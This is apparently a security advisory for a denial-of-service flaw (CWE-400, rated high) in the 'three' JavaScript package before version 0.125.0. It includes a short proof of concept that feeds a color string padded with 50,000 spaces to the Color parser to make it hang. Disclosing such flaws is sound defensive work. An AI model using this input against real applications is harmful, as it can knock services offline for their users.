This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors.
PoC:
var three = require('three')
function build_blank(n) {
var ret = "rgb("
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "";
}
var Color = three.Color
var time = Date.now();
new Color(build_blank(50000)) var time_cost = Date.now() - time;
console.log(time_cost + " ms")
{
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2021-02-24T07:40:52Z",
"nvd_published_at": "2021-02-18T15:15:00Z",
"severity": "HIGH"
}